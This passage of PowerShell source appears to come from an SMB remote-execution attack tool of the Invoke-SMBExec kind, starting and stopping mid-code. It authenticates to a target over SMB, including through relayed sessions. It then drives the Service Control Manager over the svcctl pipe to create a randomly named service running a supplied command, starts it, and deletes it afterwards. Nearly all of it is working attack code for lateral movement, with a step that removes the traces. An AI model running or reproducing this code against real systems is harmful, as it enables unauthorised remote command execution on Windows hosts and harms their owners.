$NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth        \r\n                $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth\r\n                $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n                $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n            }\r\n\r\n            try\r\n            {\r\n                $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                $client_stream.Flush()\r\n                $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                if($SMB_version -eq 'SMB1')\r\n                {\r\n\r\n                    if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00')\r\n                    {\r\n                        Write-Verbose \"[+] $output_username successfully authenticated on $Target\"\r\n                        $login_successful = $true\r\n                    }\r\n                    else\r\n                    {\r\n                        Write-Output \"[!] $output_username failed to authenticate on $Target\"\r\n                        $login_successful = $false\r\n                    }\r\n\r\n                }\r\n                else\r\n                {\r\n                    if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00')\r\n                    {\r\n                        Write-Verbose \"[+] $output_username successfully authenticated on $Target\"\r\n                        $login_successful = $true\r\n                    }\r\n                    else\r\n                    {\r\n                        Write-Output \"[!] $output_username failed to authenticate on $Target\"\r\n                        $login_successful = $false\r\n                    }\r\n\r\n                }\r\n\r\n            }\r\n            catch\r\n            {\r\n                Write-Output \"[-] $($_.Exception.Message)\"\r\n            }\r\n\r\n        }\r\n\r\n    }\r\n\r\n    if($login_successful -or $inveigh_session)\r\n    {\r\n\r\n        if($inveigh_session)\r\n        {\r\n\r\n            if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked')\r\n            {\r\n                Write-Output \"[*] Pausing due to Inveigh Relay session lock\"\r\n                Start-Sleep -s 2\r\n            }\r\n\r\n            $inveigh.session_lock_table[$session] = 'locked'\r\n            $client = $inveigh.session_socket_table[$session]\r\n            $client_stream = $client.GetStream()\r\n            $session_ID = $inveigh.session_table[$session]\r\n            $message_ID =  $inveigh.session_message_ID_table[$session]\r\n            $tree_ID = 0x00,0x00,0x00,0x00\r\n            $SMB_signing = $false\r\n        }\r\n\r\n        $SMB_path = \"\\\\\" + $Target + \"\\IPC$\"\r\n\r\n        if($SMB_version -eq 'SMB1')\r\n        {\r\n            $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00\r\n        }\r\n        else\r\n        {\r\n            $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path)\r\n        }\r\n\r\n        $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03\r\n\r\n        if(!$Service)\r\n        {\r\n            $SMB_service_random = [String]::Join(\"00-\",(1..20 | ForEach-Object{\"{0:X2}-\" -f (Get-Random -Minimum 65 -Maximum 90)}))\r\n            $SMB_service = $SMB_service_random -replace \"-00\",\"\"\r\n            $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1)\r\n            $SMB_service = $SMB_service.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n            $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)\r\n            $SMB_service_random += '00-00-00-00-00'\r\n            $SMB_service_bytes = $SMB_service_random.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n        }\r\n        else\r\n        {\r\n            $SMB_service = $Service\r\n            $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service)\r\n\r\n            if([Bool]($SMB_service.Length % 2))\r\n            {\r\n                $SMB_service_bytes += 0x00,0x00\r\n            }\r\n            else\r\n            {\r\n                $SMB_service_bytes += 0x00,0x00,0x00,0x00\r\n                \r\n            }\r\n\r\n        }\r\n        \r\n        $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1)\r\n\r\n        if($CommandCOMSPEC -eq 'Y')\r\n        {\r\n            $Command = \"%COMSPEC% /C `\"\" + $Command + \"`\"\"\r\n        }\r\n        else\r\n        {\r\n            $Command = \"`\"\" + $Command + \"`\"\"\r\n        }\r\n\r\n        [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += \"{0:X2}-00-\" -f $_}\r\n\r\n        if([Bool]($Command.Length % 2))\r\n        {\r\n            $SMBExec_command += '00-00'\r\n        }\r\n        else\r\n        {\r\n            $SMBExec_command += '00-00-00-00'\r\n        }    \r\n        \r\n        $SMBExec_command_bytes = $SMBExec_command.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}  \r\n        $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2)\r\n        $SMB_split_index = 4256\r\n        \r\n        if($SMB_version -eq 'SMB1')\r\n        {\r\n            $stage = 'TreeConnectAndXRequest'\r\n\r\n            while ($stage -ne 'Exit')\r\n            {\r\n            \r\n                switch ($stage)\r\n                {\r\n            \r\n                    'CheckAccess'\r\n                    {\r\n\r\n                        if([System.BitConverter]::ToString($client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')\r\n                        {\r\n                            $SMB_service_manager_context_handle = $client_receive[88..107]\r\n\r\n                            if($SMB_execute)\r\n                            {\r\n                                Write-Verbose \"$output_username has Service Control Manager write privilege on $Target\"  \r\n                                $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes\r\n                                $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n\r\n                                if($SCM_data.Length -lt $SMB_split_index)\r\n                                {\r\n                                    $stage = 'CreateServiceW'\r\n                                }\r\n                                else\r\n                                {\r\n                                    $stage = 'CreateServiceW_First'\r\n                                }\r\n\r\n                            }\r\n                            else\r\n                            {\r\n                                Write-Output \"$output_username has Service Control Manager write privilege on $Target\"\r\n                                $SMB_close_service_handle_stage = 2\r\n                                $stage = 'CloseServiceHandle'\r\n                            }\r\n\r\n                        }\r\n                        elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '05-00-00-00')\r\n                        {\r\n                            Write-Output \"[-] $output_username does not have Service Control Manager write privilege on $Target\"\r\n                            $stage = 'Exit'\r\n                        }\r\n                        else\r\n                        {\r\n                            Write-Output \"[-] Something went wrong with $Target\"\r\n                            $stage = 'Exit'\r\n                        }\r\n\r\n                    }\r\n\r\n                    'CloseRequest'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2\r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data \r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'TreeDisconnect'\r\n                    }\r\n\r\n                    'CloseServiceHandle'\r\n                    {\r\n\r\n                        if($SMB_close_service_handle_stage -eq 1)\r\n                        {\r\n                            Write-Verbose \"Service $SMB_service deleted on $Target\"\r\n                            $SMB_close_service_handle_stage++\r\n                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle\r\n                        }\r\n                        else\r\n                        {\r\n                            $stage = 'CloseRequest'\r\n                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle\r\n                        }\r\n\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                    }\r\n\r\n                    'CreateAndXRequest'\r\n                    {\r\n                        $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \\svcctl\r\n                        $SMB_tree_ID = $client_receive[28,29]\r\n                        $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2\r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data \r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'RPCBind'\r\n                    }\r\n                  \r\n                    'CreateServiceW'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n                        \r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes\r\n                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                             \r\n                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'ReadAndXRequest'\r\n                        $stage_next = 'StartServiceW'\r\n                    }\r\n\r\n                    'CreateServiceW_First'\r\n                    {\r\n                        $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first\r\n                        $packet_RPC_data[\"AllocHint\"] = [System.BitConverter]::GetBytes($SCM_data.Length)\r\n                        $SMB_split_index_tracker = $SMB_split_index\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data     \r\n                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                        if($SMB_split_stage_final -le 2)\r\n                        {\r\n                            $stage = 'CreateServiceW_Last'\r\n                        }\r\n                        else\r\n                        {\r\n                            $SMB_split_stage = 2\r\n                            $stage = 'CreateServiceW_Middle'\r\n                        }\r\n\r\n                    }\r\n\r\n                    'CreateServiceW_Middle'\r\n                    {\r\n                        $SMB_split_stage++\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]\r\n                        $SMB_split_index_tracker += $SMB_split_index\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle\r\n                        $packet_RPC_data[\"AllocHint\"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data     \r\n                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                        if($SMB_split_stage -ge $SMB_split_stage_final)\r\n                        {\r\n                            $stage = 'CreateServiceW_Last'\r\n                        }\r\n                        else\r\n                        {\r\n                            $stage = 'CreateServiceW_Middle'\r\n                        }\r\n\r\n                    }\r\n\r\n                    'CreateServiceW_Last'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data \r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'ReadAndXRequest'\r\n                        $stage_next = 'StartServiceW'\r\n                    }\r\n\r\n                    'DeleteServiceW'\r\n                    { \r\n\r\n                        if([System.BitConverter]::ToString($client_receive[88..91]) -eq '1d-04-00-00')\r\n                        {\r\n                            Write-Output \"[+] Command executed with service $SMB_service on $Target\"\r\n                        }\r\n                        elseif([System.BitConverter]::ToString($client_receive[88..91]) -eq '02-00-00-00')\r\n                        {\r\n                            Write-Output \"[-] Service $SMB_service failed to start on $Target\"\r\n                        }\r\n\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle\r\n                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data \r\n                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'ReadAndXRequest'\r\n                        $stage_next = 'CloseServiceHandle'\r\n                        $SMB_close_service_handle_stage = 1\r\n                    }\r\n\r\n                    'Logoff'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBLogoffAndXRequest\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data \r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'Exit'\r\n                    }\r\n\r\n                    'OpenSCManagerW'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length\r\n                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data \r\n                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + 